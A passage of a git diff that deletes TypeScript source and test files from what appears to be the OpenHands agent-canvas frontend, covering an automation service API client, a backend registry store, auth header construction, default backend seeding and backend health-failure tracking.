`Path.home()` instead puts the path somewhere reliably writable. - */ -export async function resolveAbsoluteAgentServerPath( - workingDir: string, - overrides: AgentServerClientOverrides = {}, -): Promise { - const trimmed = workingDir.replace(/[/\\]+$/, ""); - if (!trimmed) { - return getAgentServerHomeDir(overrides); - } - if (isAbsolutePath(trimmed)) return trimmed; - - const home = await getAgentServerHomeDir(overrides); - return joinPath(home, trimmed); -} diff --git a/src/api/automation-service/automation-service.api.test.ts b/src/api/automation-service/automation-service.api.test.ts deleted file mode 100644 index 0911124a2..000000000 --- a/src/api/automation-service/automation-service.api.test.ts +++ /dev/null @@ -1,351 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import type { Automation, AutomationSpec } from "#/types/automation"; -import AutomationService from "./automation-service.api"; - -const { - localAxios, - callCloudProxy, - getTelemetryConsent, - getTelemetryDistinctId, - getTelemetryDistinctIdForConsentSync, -} = vi.hoisted(() => ({ - localAxios: { - interceptors: { request: { use: vi.fn() } }, - get: vi.fn(), - post: vi.fn(), - patch: vi.fn(), - delete: vi.fn(), - }, - callCloudProxy: vi.fn(), - getTelemetryConsent: vi.fn(), - getTelemetryDistinctId: vi.fn(), - getTelemetryDistinctIdForConsentSync: vi.fn(), -})); - -vi.mock("axios", () => ({ - default: { - create: () => localAxios, - post: vi.fn(), - }, -})); - -vi.mock("#/api/cloud/proxy", () => ({ - callCloudProxy, -})); - -vi.mock("#/services/telemetry", () => ({ - getTelemetryConsent, - getTelemetryDistinctId, - getTelemetryDistinctIdForConsentSync, -})); - -const localBackend: Backend = { - id: "local-test", - name: "Local test backend", - host: "http://localhost:3000", - apiKey: "test-session-key", - kind: "local", -}; - -const cloudBackend: Backend = { - id: "cloud-test", - name: "Cloud test backend", - host: "https://app.example.test", - apiKey: "cloud-api-key", - kind: "cloud", -}; - -const spec: AutomationSpec = { - name: "Imported review", - prompt: "Review open pull requests.", - trigger: { - type: "cron", - schedule: "0 9 * * *", - schedule_human: "Daily at 09:00", - }, - enabled: true, - repository: "openhands/agent-canvas", - branch: "main", - plugins: ["github:openhands/extensions"], - model: "fast", - timezone: "America/Los_Angeles", -}; - -const createdAutomation: Automation = { - id: "created-automation", - name: spec.name, - prompt: spec.prompt, - trigger: { type: "cron", schedule: spec.trigger.schedule }, - enabled: true, - model: spec.model, - created_at: "2026-07-10T00:00:00Z", - updated_at: "2026-07-10T00:00:00Z", -}; - -describe("AutomationService.getSdkVersion", () => { - beforeEach(() => { - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - }); - - afterEach(() => { - setActiveSelection(null); - setRegisteredBackends([]); - vi.clearAllMocks(); - }); - - it("fetches the local automation SDK version from the automation sidecar", async () => { - localAxios.get.mockResolvedValueOnce({ data: { sdk_version: "1.36.1" } }); - - await expect(AutomationService.getSdkVersion()).resolves.toBe("1.36.1"); - - expect(localAxios.get).toHaveBeenCalledWith("/api/automation/sdk-version", { - timeout: 5000, - }); - }); - - it("fetches the cloud automation SDK version through the cloud proxy", async () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id, orgId: "org-1" }); - callCloudProxy.mockResolvedValueOnce({ sdk_version: "1.36.2" }); - - await expect(AutomationService.getSdkVersion()).resolves.toBe("1.36.2"); - - expect(callCloudProxy).toHaveBeenCalledWith( - expect.objectContaining({ - backend: cloudBackend, - method: "GET", - path: "/api/automation/sdk-version", - headers: expect.objectContaining({ "X-Org-Id": "org-1" }), - timeoutSeconds: 5, - }), - ); - }); - - it("returns null when the SDK version endpoint is unavailable", async () => { - localAxios.get.mockRejectedValueOnce(new Error("not running")); - - await expect(AutomationService.getSdkVersion()).resolves.toBeNull(); - }); -}); - -describe("AutomationService.syncTelemetryConsent", () => { - beforeEach(() => { - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - getTelemetryConsent.mockReturnValue("pending"); - getTelemetryDistinctIdForConsentSync.mockResolvedValue("ph-fe-sync"); - localAxios.post.mockResolvedValue({ data: { consent_granted: true } }); - }); - - afterEach(() => { - setActiveSelection(null); - setRegisteredBackends([]); - vi.clearAllMocks(); - }); - - it("posts local telemetry consent with the frontend PostHog distinct ID", async () => { - await AutomationService.syncTelemetryConsent("granted"); - - expect(localAxios.post).toHaveBeenCalledWith( - "/api/automation/v1/telemetry/consent", - { - consent_granted: true, - frontend_distinct_id: "ph-fe-sync", - }, - { timeout: 5000 }, - ); - }); - - it("uses the current telemetry consent when no explicit value is supplied", async () => { - getTelemetryConsent.mockReturnValue("denied"); - - await AutomationService.syncTelemetryConsent(); - - expect(localAxios.post).toHaveBeenCalledWith( - "/api/automation/v1/telemetry/consent", - { - consent_granted: false, - frontend_distinct_id: "ph-fe-sync", - }, - { timeout: 5000 }, - ); - }); - - it("skips cloud backends because cloud consent is handled by auth", async () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id, orgId: "org-1" }); - - await AutomationService.syncTelemetryConsent("granted"); - - expect(localAxios.post).not.toHaveBeenCalled(); - }); -}); - -describe("AutomationService.createAutomation", () => { - beforeEach(() => { - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - localAxios.post.mockResolvedValue({ data: createdAutomation }); - localAxios.patch.mockImplementation( - async (_path: string, body: Partial) => ({ - data: { ...createdAutomation, ...body }, - }), - ); - }); - - afterEach(() => { - setActiveSelection(null); - setRegisteredBackends([]); - vi.clearAllMocks(); - }); - - it("creates plugin automations through the preset API and disables them", async () => { - const created = await AutomationService.createAutomation(spec); - - expect(localAxios.post).toHaveBeenCalledWith( - "/api/automation/v1/preset/plugin", - { - name: spec.name, - prompt: spec.prompt, - model: spec.model, - trigger: { - type: "event", - source: "agent-canvas-import", - on: expect.stringMatching(/^pending\./), - }, - repos: [ - { - url: spec.repository, - ref: spec.branch, - provider: "github", - }, - ], - plugins: [{ source: spec.plugins![0] }], - }, - { - baseURL: localBackend.host, - headers: expect.objectContaining({ - "X-Session-API-Key": localBackend.apiKey, - }), - }, - ); - expect(localAxios.patch).toHaveBeenCalledWith( - "/api/automation/v1/created-automation", - { - trigger: { - type: "cron", - schedule: spec.trigger.schedule, - timezone: spec.timezone, - }, - enabled: false, - }, - { - baseURL: localBackend.host, - headers: expect.objectContaining({ - "X-Session-API-Key": localBackend.apiKey, - }), - }, - ); - expect(created.enabled).toBe(false); - }); - - it("uses the prompt preset path when no plugins are configured", async () => { - await AutomationService.createAutomation({ - ...spec, - plugins: undefined, - }); - - expect(localAxios.post).toHaveBeenCalledWith( - "/api/automation/v1/preset/prompt", - expect.not.objectContaining({ plugins: expect.anything() }), - expect.any(Object), - ); - }); - - it("applies the imported event trigger while disabling the automation", async () => { - const eventTrigger = { - type: "event", - source: "github", - on: ["pull_request.opened", "pull_request.synchronize"], - filter: "repository.full_name == 'openhands/agent-canvas'", - }; - - await AutomationService.createAutomation({ - ...spec, - trigger: eventTrigger, - }); - - expect(localAxios.patch).toHaveBeenCalledWith( - "/api/automation/v1/created-automation", - { trigger: eventTrigger, enabled: false }, - expect.any(Object), - ); - }); - - it("uses the selected cloud backend and organization for both requests", async () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id, orgId: "org-1" }); - callCloudProxy - .mockResolvedValueOnce(createdAutomation) - .mockResolvedValueOnce({ ...createdAutomation, enabled: false }); - - const created = await AutomationService.createAutomation(spec); - - expect(callCloudProxy).toHaveBeenNthCalledWith( - 1, - expect.objectContaining({ - backend: cloudBackend, - method: "POST", - path: "/api/automation/v1/preset/plugin", - body: expect.objectContaining({ name: spec.name }), - headers: expect.objectContaining({ "X-Org-Id": "org-1" }), - }), - ); - expect(callCloudProxy).toHaveBeenNthCalledWith( - 2, - expect.objectContaining({ - backend: cloudBackend, - method: "PATCH", - path: "/api/automation/v1/created-automation", - body: expect.objectContaining({ enabled: false }), - headers: expect.objectContaining({ "X-Org-Id": "org-1" }), - }), - ); - expect(created.enabled).toBe(false); - }); - - it("removes the inert automation when disabling it fails", async () => { - const updateError = new Error("update failed"); - localAxios.patch.mockRejectedValueOnce(updateError); - - await expect(AutomationService.createAutomation(spec)).rejects.toBe( - updateError, - ); - - expect(localAxios.delete).toHaveBeenCalledWith( - "/api/automation/v1/created-automation", - { - baseURL: localBackend.host, - headers: expect.objectContaining({ - "X-Session-API-Key": localBackend.apiKey, - }), - }, - ); - }); - - it("includes the timeout in the create request when the spec sets one", async () => { - await AutomationService.createAutomation({ ...spec, timeout: 1200 }); - - expect(localAxios.post).toHaveBeenCalledWith( - "/api/automation/v1/preset/plugin", - expect.objectContaining({ timeout: 1200 }), - expect.any(Object), - ); - }); -}); diff --git a/src/api/automation-service/automation-service.api.ts b/src/api/automation-service/automation-service.api.ts deleted file mode 100644 index ec23fddc3..000000000 --- a/src/api/automation-service/automation-service.api.ts +++ /dev/null @@ -1,510 +0,0 @@ -import axios from "axios"; -import { - getTelemetryConsent, - getTelemetryDistinctId, - getTelemetryDistinctIdForConsentSync, - type TelemetryConsent, -} from "#/services/telemetry"; -import type { - Automation, - AutomationRun, - AutomationSpec, - AutomationTrigger, - AutomationsResponse, - AutomationRunsResponse, -} from "#/types/automation"; -import type { Backend, ResolvedActiveBackend } from "../backend-registry/types"; -import { - getActiveBackend, - getEffectiveLocalBackend, -} from "../backend-registry/active-store"; -import { NoBackendAvailableError } from "../agent-server-client-options"; -import { callCloudProxy } from "../cloud/proxy"; -import { - AGENT_CANVAS_CLIENT_HEADERS, - OPENHANDS_TELEMETRY_DISTINCT_ID_HEADER, -} from "../client-source"; - -const AUTOMATION_BASE_PATH = "/api/automation"; - -export interface AutomationHealthResponse { - status: "ok" | "error"; - message?: string; -} - -type AutomationSdkVersionResponse = - | string - | { - sdk_version?: unknown; - version?: unknown; - }; - -// Local automation calls go to the automation sidecar that -// `scripts/dev-with-automation.mjs` mounts behind the local agent-server. -// Both backends use the same session API key and the same `X-Session-API-Key` -// header for consistency. -const localAutomationAxios = axios.create(); - -async function buildAutomationRequestHeaders( - extraHeaders: Record = {}, -): Promise> { - const telemetryDistinctId = await getTelemetryDistinctId(); - return { - ...AGENT_CANVAS_CLIENT_HEADERS, - ...(telemetryDistinctId - ? { [OPENHANDS_TELEMETRY_DISTINCT_ID_HEADER]: telemetryDistinctId } - : {}), - ...extraHeaders, - }; -} - -localAutomationAxios.interceptors.request.use(async (config) => { - const requestHeaders = await buildAutomationRequestHeaders(); - Object.entries(requestHeaders).forEach(([name, value]) => { - config.headers.set(name, value); - }); - - // Import uses an explicit baseURL/header pair so its POST, PATCH, and - // cleanup stay pinned to the backend selected when the mutation started. - if (config.baseURL) return config; - - // Resolve the local backend on every call so it tracks the - // currently-active local backend (and any host/key edits made via the - // manage-backends UI), rather than freezing whatever value the - // agent-server-config produced at module load time. - // Using the backend registry (rather than the build-time VITE_SESSION_API_KEY - // env var) ensures the published npm package picks up the runtime-injected - // session key that scripts/static-server.mjs seeds into localStorage, fixing - // the 401 errors reported in issue #829. - const backend = getEffectiveLocalBackend(); - if (!backend) throw new NoBackendAvailableError(); - // eslint-disable-next-line no-param-reassign - config.baseURL = backend.host; - - const apiKey = backend.apiKey?.trim(); - if (apiKey) { - config.headers.set("X-Session-API-Key", apiKey); - } - return config; -}); - -function normalizeAutomationSdkVersion(version: unknown): string | null { - if (typeof version !== "string") return null; - const trimmed = version.trim(); - return trimmed || null; -} - -function getAutomationSdkVersionFromResponse( - response: AutomationSdkVersionResponse, -): string | null { - if (typeof response === "string") { - return normalizeAutomationSdkVersion(response); - } - return ( - normalizeAutomationSdkVersion(response.sdk_version) ?? - normalizeAutomationSdkVersion(response.version) - ); -} - -function buildPaginationQuery(limit: number, offset: number): string { - const params = new URLSearchParams(); - params.set("limit", String(limit)); - params.set("offset", String(offset)); - return params.toString(); -} - -function buildImportedTrigger(spec: AutomationSpec): AutomationTrigger { - if (spec.trigger.type === "event") { - return { - type: "event", - source: spec.trigger.source, - on: spec.trigger.on, - ...(spec.trigger.filter && { filter: spec.trigger.filter }), - }; - } - - return { - type: "cron", - schedule: spec.trigger.schedule, - timezone: spec.timezone ?? spec.trigger.timezone ?? "UTC", - }; -} - -function generatePendingImportEvent(): string { - if ( - typeof crypto !== "undefined" && - typeof crypto.randomUUID === "function" - ) { - return `pending.${crypto.randomUUID()}`; - } - return `pending.${Date.now()}.${Math.random().toString(36).slice(2, 10)}`; -} - -function buildCreateAutomationRequest(spec: AutomationSpec) { - if (!spec.prompt) { - throw new Error("An automation prompt is required for import."); - } - - const repos = spec.repository - ? [ - { - url: spec.repository, - ...(spec.branch && { ref: spec.branch }), - ...(!spec.repository.includes("://") && - !spec.repository.startsWith("git@") && { provider: "github" }), - }, - ] - : undefined; - - return { - path: `${AUTOMATION_BASE_PATH}/v1/preset/${spec.plugins?.length ? "plugin" : "prompt"}`, - body: { - name: spec.name, - prompt: spec.prompt, - // Preset creation defaults to enabled. A unique event trigger keeps the - // new record inert until the real trigger and disabled state are applied - // together in the follow-up PATCH. - trigger: { - type: "event", - source: "agent-canvas-import", - on: generatePendingImportEvent(), - }, - ...(spec.model && { model: spec.model }), - ...(repos && { repos }), - ...(spec.plugins?.length && { - plugins: spec.plugins.map((source) => ({ source })), - }), - ...(spec.timeout != null && { timeout: spec.timeout }), - }, - }; -} - -async function buildPinnedLocalConfig(backend: Backend) { - const apiKey = backend.apiKey.trim(); - return { - baseURL: backend.host, - headers: await buildAutomationRequestHeaders( - apiKey ? { "X-Session-API-Key": apiKey } : {}, - ), - }; -} - -async function buildPinnedCloudHeaders(active: ResolvedActiveBackend) { - return buildAutomationRequestHeaders( - active.orgId ? { "X-Org-Id": active.orgId } : {}, - ); -} - -class AutomationService { - static async syncTelemetryConsent( - consent: TelemetryConsent = getTelemetryConsent(), - ): Promise { - const active = getActiveBackend(); - if (active.backend.kind !== "local") return; - - const frontendDistinctId = await getTelemetryDistinctIdForConsentSync(); - await localAutomationAxios.post( - `${AUTOMATION_BASE_PATH}/v1/telemetry/consent`, - { - consent_granted: consent === "granted", - frontend_distinct_id: frontendDistinctId, - }, - { timeout: 5000 }, - ); - } - - static async getSdkVersion(): Promise { - const active = getActiveBackend(); - const path = `${AUTOMATION_BASE_PATH}/sdk-version`; - - try { - let response: AutomationSdkVersionResponse; - if (active.backend.kind === "cloud") { - response = await callCloudProxy({ - backend: active.backend, - method: "GET", - path, - headers: await buildPinnedCloudHeaders(active), - timeoutSeconds: 5, - }); - } else { - const { data } = - await localAutomationAxios.get(path, { - timeout: 5000, - }); - response = data; - } - - return getAutomationSdkVersionFromResponse(response); - } catch { - return null; - } - } - - static async listAutomations( - params: { limit?: number; offset?: number } = {}, - ): Promise { - const { limit = 50, offset = 0 } = params; - const active = getActiveBackend().backend; - - if (active.kind === "cloud") { - return callCloudProxy({ - backend: active, - method: "GET", - path: `${AUTOMATION_BASE_PATH}/v1?${buildPaginationQuery(limit, offset)}`, - headers: await buildAutomationRequestHeaders(), - }); - } - - const { data } = await localAutomationAxios.get( - `${AUTOMATION_BASE_PATH}/v1`, - { params: { limit, offset } }, - ); - return data; - } - - static async getAutomations( - limit = 50, - offset = 0, - ): Promise { - return AutomationService.listAutomations({ limit, offset }); - } - - static async getAutomation(id: string): Promise { - const active = getActiveBackend().backend; - const path = `${AUTOMATION_BASE_PATH}/v1/${encodeURIComponent(id)}`; - - if (active.kind === "cloud") { - return callCloudProxy({ - backend: active, - method: "GET", - path, - headers: await buildAutomationRequestHeaders(), - }); - } - - const { data } = await localAutomationAxios.get(path); - return data; - } - - static async createAutomation(spec: AutomationSpec): Promise { - const active = getActiveBackend(); - const { path, body } = buildCreateAutomationRequest(spec); - - let created: Automation; - if (active.backend.kind === "cloud") { - created = await callCloudProxy({ - backend: active.backend, - method: "POST", - path, - body, - headers: await buildPinnedCloudHeaders(active), - }); - } else { - const { data } = await localAutomationAxios.post( - path, - body, - await buildPinnedLocalConfig(active.backend), - ); - created = data; - } - - const updatePath = `${AUTOMATION_BASE_PATH}/v1/${encodeURIComponent(created.id)}`; - const updateBody: Partial = { - trigger: buildImportedTrigger(spec), - enabled: false, - }; - - try { - if (active.backend.kind === "cloud") { - return await callCloudProxy({ - backend: active.backend, - method: "PATCH", - path: updatePath, - body: updateBody, - headers: await buildPinnedCloudHeaders(active), - }); - } - - const { data } = await localAutomationAxios.patch( - updatePath, - updateBody, - await buildPinnedLocalConfig(active.backend), - ); - return data; - } catch (updateError) { - try { - if (active.backend.kind === "cloud") { - await callCloudProxy({ - backend: active.backend, - method: "DELETE", - path: updatePath, - headers: await buildPinnedCloudHeaders(active), - }); - } else { - await localAutomationAxios.delete( - updatePath, - await buildPinnedLocalConfig(active.backend), - ); - } - } catch (cleanupError) { - throw new AggregateError( - [updateError, cleanupError], - "Failed to disable the imported automation and clean it up.", - ); - } - throw updateError; - } - } - - static async updateAutomation( - id: string, - body: Partial, - ): Promise { - const active = getActiveBackend().backend; - const path = `${AUTOMATION_BASE_PATH}/v1/${encodeURIComponent(id)}`; - - if (active.kind === "cloud") { - return callCloudProxy({ - backend: active, - method: "PATCH", - path, - body: body as Record, - headers: await buildAutomationRequestHeaders(), - }); - } - - const { data } = await localAutomationAxios.patch(path, body); - return data; - } - - static async deleteAutomation(id: string): Promise { - const active = getActiveBackend().backend; - const path = `${AUTOMATION_BASE_PATH}/v1/${encodeURIComponent(id)}`; - - if (active.kind === "cloud") { - await callCloudProxy({ - backend: active, - method: "DELETE", - path, - headers: await buildAutomationRequestHeaders(), - }); - return; - } - - await localAutomationAxios.delete(path); - } - - static async dispatchAutomation(id: string): Promise { - const active = getActiveBackend().backend; - const path = `${AUTOMATION_BASE_PATH}/v1/${encodeURIComponent(id)}/dispatch`; - - if (active.kind === "cloud") { - return callCloudProxy({ - backend: active, - method: "POST", - path, - headers: await buildAutomationRequestHeaders(), - }); - } - - const { data } = await localAutomationAxios.post(path); - return data; - } - - static async listAutomationRuns( - id: string, - params: { limit?: number; offset?: number } = {}, - ): Promise { - const { limit = 50, offset = 0 } = params; - const active = getActiveBackend().backend; - const basePath = `${AUTOMATION_BASE_PATH}/v1/${encodeURIComponent(id)}/runs`; - - if (active.kind === "cloud") { - return callCloudProxy({ - backend: active, - method: "GET", - path: `${basePath}?${buildPaginationQuery(limit, offset)}`, - headers: await buildAutomationRequestHeaders(), - }); - } - - const { data } = await localAutomationAxios.get( - basePath, - { params: { limit, offset } }, - ); - return data; - } - - static async getAutomationRuns( - id: string, - limit = 50, - offset = 0, - ): Promise { - return AutomationService.listAutomationRuns(id, { limit, offset }); - } - - static async toggleAutomation( - id: string, - enabled: boolean, - ): Promise { - return AutomationService.updateAutomation(id, { enabled }); - } - - static async downloadTarball(id: string, name: string): Promise { - const active = getActiveBackend().backend; - const path = `${AUTOMATION_BASE_PATH}/v1/${encodeURIComponent(id)}/tarball`; - - let blob: Blob; - if (active.kind === "cloud") { - blob = await callCloudProxy({ - backend: active, - method: "GET", - path, - responseType: "blob", - headers: await buildAutomationRequestHeaders(), - }); - } else { - const { data } = await localAutomationAxios.get(path, { - responseType: "blob", - }); - blob = data; - } - - const url = URL.createObjectURL(blob); - const a = document.createElement("a"); - a.href = url; - a.download = `${name}.tar`; - a.click(); - URL.revokeObjectURL(url); - } - - static async checkHealth(): Promise { - const active = getActiveBackend().backend; - const path = `${AUTOMATION_BASE_PATH}/health`; - - try { - if (active.kind === "cloud") { - const response = await callCloudProxy({ - backend: active, - method: "GET", - path, - // Fail fast, matching the local branch's 5s timeout below. - timeoutSeconds: 5, - headers: await buildAutomationRequestHeaders(), - }); - return response; - } - - const { data } = await localAutomationAxios.get( - path, - { timeout: 5000 }, - ); - return data; - } catch { - return { status: "error" }; - } - } -} - -export default AutomationService; diff --git a/src/api/backend-registry/active-store.ts b/src/api/backend-registry/active-store.ts deleted file mode 100644 index 15baf51de..000000000 --- a/src/api/backend-registry/active-store.ts +++ /dev/null @@ -1,146 +0,0 @@ -import { - readStoredActiveBackend, - readStoredBackends, - writeStoredActiveBackend, - writeStoredBackends, -} from "./storage"; -import type { Backend, BackendSelection, ResolvedActiveBackend } from "./types"; - -type Listener = () => void; - -interface Snapshot { - backends: Backend[]; - selection: BackendSelection | null; - active: ResolvedActiveBackend; -} - -export const NO_BACKEND_ID = "no-backend"; - -/** - * Sentinel returned when the registry has no usable backend. It must never be - * persisted, and callers must check `isNoBackend()` before interpreting fields - * like `kind`, `host`, or `apiKey`. - */ -export const NO_BACKEND: Backend = { - id: NO_BACKEND_ID, - name: "No Backend Available", - host: "", - apiKey: "", - kind: "local", -}; - -export function isNoBackend(backend: Backend): boolean { - return backend.id === NO_BACKEND_ID; -} - -function pickFallbackBackend(backends: Backend[]): Backend { - return backends[0] ?? NO_BACKEND; -} - -function computeSnapshot( - backends: Backend[], - selection: BackendSelection | null, -): Snapshot { - let activeBackend: Backend | null = null; - let activeOrgId: string | null = null; - - if (selection) { - const found = backends.find((b) => b.id === selection.backendId); - if (found) { - activeBackend = found; - activeOrgId = selection.orgId ?? null; - } - // If the selection points at a removed backend, fall through to - // the unselected case below; we also drop the orgId since it only - // makes sense in the context of a specific cloud backend. - } - - // @spec BM-003 — Fallback on active backend removal - if (!activeBackend) { - activeBackend = pickFallbackBackend(backends); - activeOrgId = null; - } - - return { - backends, - selection, - active: { backend: activeBackend, orgId: activeOrgId }, - }; -} - -let snapshot: Snapshot = computeSnapshot( - readStoredBackends(), - readStoredActiveBackend(), -); - -const listeners = new Set(); - -function notify(): void { - listeners.forEach((listener) => listener()); -} - -export function getActiveBackend(): ResolvedActiveBackend { - return snapshot.active; -} - -/** - * Pick the backend to use for *local agent-server protocol* calls. - * - * Most of the GUI's services (settings reads/writes, conversation CRUD, - * skills/MCP/secrets, etc.) speak the local agent-server's protocol — - * they would fail against a cloud host. Only the active backend is eligible: - * a cloud selection must not borrow another registered local backend. - */ -export function getEffectiveLocalBackend(): Backend | null { - const active = snapshot.active.backend; - if (active.kind === "local" && !isNoBackend(active)) return active; - return null; -} - -export function getRegisteredBackends(): Backend[] { - return snapshot.backends; -} - -export function getActiveSelection(): BackendSelection | null { - return snapshot.selection; -} - -export function getSnapshot(): Snapshot { - return snapshot; -} - -export function setActiveSelection(selection: BackendSelection | null): void { - writeStoredActiveBackend(selection); - snapshot = computeSnapshot(snapshot.backends, selection); - notify(); -} - -export function setRegisteredBackends(backends: Backend[]): void { - writeStoredBackends(backends); - - let nextSelection = snapshot.selection; - if ( - nextSelection && - !backends.some((b) => b.id === nextSelection!.backendId) - ) { - nextSelection = null; - writeStoredActiveBackend(null); - } - - snapshot = computeSnapshot(backends, nextSelection); - notify(); -} - -export function subscribeActiveBackend(listener: Listener): () => void { - listeners.add(listener); - return () => { - listeners.delete(listener); - }; -} - -/** Test-only: re-read storage and clear listeners. */ - -export function __resetActiveStoreForTests(): void { - snapshot = computeSnapshot(readStoredBackends(), readStoredActiveBackend()); - listeners.clear(); -} diff --git a/src/api/backend-registry/auth.ts b/src/api/backend-registry/auth.ts deleted file mode 100644 index 2d9fb3d1d..000000000 --- a/src/api/backend-registry/auth.ts +++ /dev/null @@ -1,18 +0,0 @@ -import type { Backend } from "./types"; - -/** - * Build the auth headers to send to a backend. - * - * Local agent-server uses `X-Session-API-Key`. Cloud expects a bearer - * token in the `Authorization` header. - */ -export function buildAuthHeaders(backend: Backend): Record { - if (backend.kind === "cloud" && backend.authMode === "cookie") return {}; - if (!backend.apiKey) return {}; - - if (backend.kind === "cloud") { - return { Authorization: `Bearer ${backend.apiKey}` }; - } - - return { "X-Session-API-Key": backend.apiKey }; -} diff --git a/src/api/backend-registry/default-backend.ts b/src/api/backend-registry/default-backend.ts deleted file mode 100644 index 00bd9ba03..000000000 --- a/src/api/backend-registry/default-backend.ts +++ /dev/null @@ -1,70 +0,0 @@ -import { - getAgentServerBaseUrl, - getAgentServerSessionApiKey, - getCookieAuthCloudHost, - getLockedCloudHost, -} from "../agent-server-config"; -import type { Backend } from "./types"; - -/** - * Stable id for the seeded default local backend that is auto-registered in - * the backend registry when the launcher provides both a backend host and - * API key. After seeding, this backend is a normal registered entry — the - * user can rename it, edit its host/api key, or remove it like any other - * backend. - */ -export const SEEDED_DEFAULT_BACKEND_ID = "default-local"; - -export const DEFAULT_LOCAL_BACKEND_NAME = "Local"; -export const LOCKED_CLOUD_BACKEND_ID = "locked-cloud"; -export const LOCKED_CLOUD_BACKEND_NAME = "OpenHands Cloud"; - -export function makeLockedCloudBackend(): Backend | null { - if (!getLockedCloudHost()) return null; - - const host = getCookieAuthCloudHost(); - if (!host) return null; - - return { - id: LOCKED_CLOUD_BACKEND_ID, - name: LOCKED_CLOUD_BACKEND_NAME, - host, - apiKey: "", - kind: "cloud", - authMode: "cookie", - }; -} - -/** - * Construct the default local backend from environment/runtime config. - * Returns null unless both a backend location and API key are available. - * - * Used as the seed entry written to `openhands-backends` on first load; - * if it returns null, onboarding is responsible for collecting backend - * connection details from the user. - * - * Returns null when the deployment is locked to a single OpenHands Cloud - * host (`VITE_LOCK_TO_CLOUD` / `--lock-to-cloud`). In locked mode the user - * can only authenticate against the configured Cloud URL, so seeding a - * Local backend from a baked/injected session key would short-circuit the - * first-run onboarding gate and strand the user on the Manage Backends - * recovery modal with a disconnected Local entry. - */ -export function makeDefaultLocalBackend(): Backend | null { - // Locked-to-Cloud deployments must never auto-seed a Local backend — - // see the docblock above. - if (getLockedCloudHost()) return null; - - const host = getAgentServerBaseUrl(); - const apiKey = getAgentServerSessionApiKey(); - - if (!host || !apiKey) return null; - - return { - id: SEEDED_DEFAULT_BACKEND_ID, - name: DEFAULT_LOCAL_BACKEND_NAME, - host, - apiKey, - kind: "local", - }; -} diff --git a/src/api/backend-registry/health-storage.ts b/src/api/backend-registry/health-storage.ts deleted file mode 100644 index f7ee5b97c..000000000 --- a/src/api/backend-registry/health-storage.ts +++ /dev/null @@ -1,82 +0,0 @@ -import { getUserFacingConnectionErrorMessage } from "#/utils/user-facing-error"; - -export const BACKEND_HEALTH_STORAGE_KEY = "openhands-backend-health"; - -/** - * Once a backend has failed this many probes in a row, polling stops - * until the user edits the backend's host or apiKey (which resets the - * counter via the active-backend store). - */ -export const MAX_CONSECUTIVE_FAILURES = 5; - -/** Max characters of `error.message` we persist — keeps localStorage tidy. */ -const MAX_ERROR_MESSAGE_LENGTH = 500; - -export interface BackendHealthEntry { - consecutiveFailures: number; - lastError: string | null; - lastFailureAt: number | null; - disabled: boolean; -} - -export type BackendHealthMap = Record; - -function isValidEntry(value: unknown): value is BackendHealthEntry { - if (typeof value !== "object" || value === null) return false; - const v = value as Partial; - // localStorage is user-writable. Reject anything outside the range - // our own writer produces — a tampered `-1` would never reach the - // cap and would defeat the whole disable mechanism, and a giant - // value would clutter the UI for no reason. - return ( - Number.isInteger(v.consecutiveFailures) && - (v.consecutiveFailures as number) >= 0 && - (v.consecutiveFailures as number) <= MAX_CONSECUTIVE_FAILURES && - (v.lastError === null || typeof v.lastError === "string") && - (v.lastFailureAt === null || typeof v.lastFailureAt === "number") && - typeof v.disabled === "boolean" - ); -} - -export function readStoredHealth(): BackendHealthMap { - if (typeof window === "undefined") return {}; - try { - const raw = window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY); - if (!raw) return {}; - const parsed = JSON.parse(raw); - if (typeof parsed !== "object" || parsed === null) return {}; - - const out: BackendHealthMap = {}; - for (const [id, entry] of Object.entries(parsed)) { - if (typeof id === "string" && id.length > 0 && isValidEntry(entry)) { - out[id] = entry; - } - } - return out; - } catch { - return {}; - } -} - -export function writeStoredHealth(map: BackendHealthMap): void { - if (typeof window === "undefined") return; - try { - if (Object.keys(map).length === 0) { - window.localStorage.removeItem(BACKEND_HEALTH_STORAGE_KEY); - return; - } - window.localStorage.setItem( - BACKEND_HEALTH_STORAGE_KEY, - JSON.stringify(map), - ); - } catch { - /* ignore quota / serialization errors */ - } -} - -export function truncateErrorMessage(error: unknown): string { - const message = getUserFacingConnectionErrorMessage(error) ?? "Unknown error"; - return message.length > MAX_ERROR_MESSAGE_LENGTH - ? `${message.slice(0, MAX_ERROR_MESSAGE_LENGTH)}…` - : message; -} diff --git a/src/api/backend-registry/health-store.ts b/src/api/backend-registry/health-store.ts deleted file mode 100644 index 5b4a470b0..000000000 --- a/src/api/backend-registry/health-store.ts +++ /dev/null @@ -1,99 +0,0 @@ -import { - MAX_CONSECUTIVE_FAILURES, - readStoredHealth, - truncateErrorMessage, - writeStoredHealth, - type BackendHealthEntry, - type BackendHealthMap, -} from "./health-storage"; - -type Listener = () => void; - -let healthMap: BackendHealthMap = readStoredHealth(); -const listeners = new Set(); - -function notify(): void { - listeners.forEach((listener) => listener()); -} - -function commit(next: BackendHealthMap): void { - healthMap = next; - writeStoredHealth(next); - notify(); -} - -export function getHealthSnapshot(): BackendHealthMap { - return healthMap; -} - -export function getBackendHealthEntry(id: string): BackendHealthEntry | null { - return healthMap[id] ?? null; -} - -export function subscribeBackendHealth(listener: Listener): () => void { - listeners.add(listener); - return () => { - listeners.delete(listener); - }; -} - -/** - * Increment the per-backend failure counter. Once the count reaches - * `MAX_CONSECUTIVE_FAILURES`, the entry is marked `disabled: true` - * which the polling hook reads to stop firing probes — including on a - * fresh page load, since the state lives in localStorage. - */ -export function recordBackendFailure(id: string, error: unknown): void { - const prev = healthMap[id]; - const consecutiveFailures = Math.min( - (prev?.consecutiveFailures ?? 0) + 1, - MAX_CONSECUTIVE_FAILURES, - ); - const disabled = - prev?.disabled === true || consecutiveFailures >= MAX_CONSECUTIVE_FAILURES; - - const nextEntry: BackendHealthEntry = { - consecutiveFailures, - 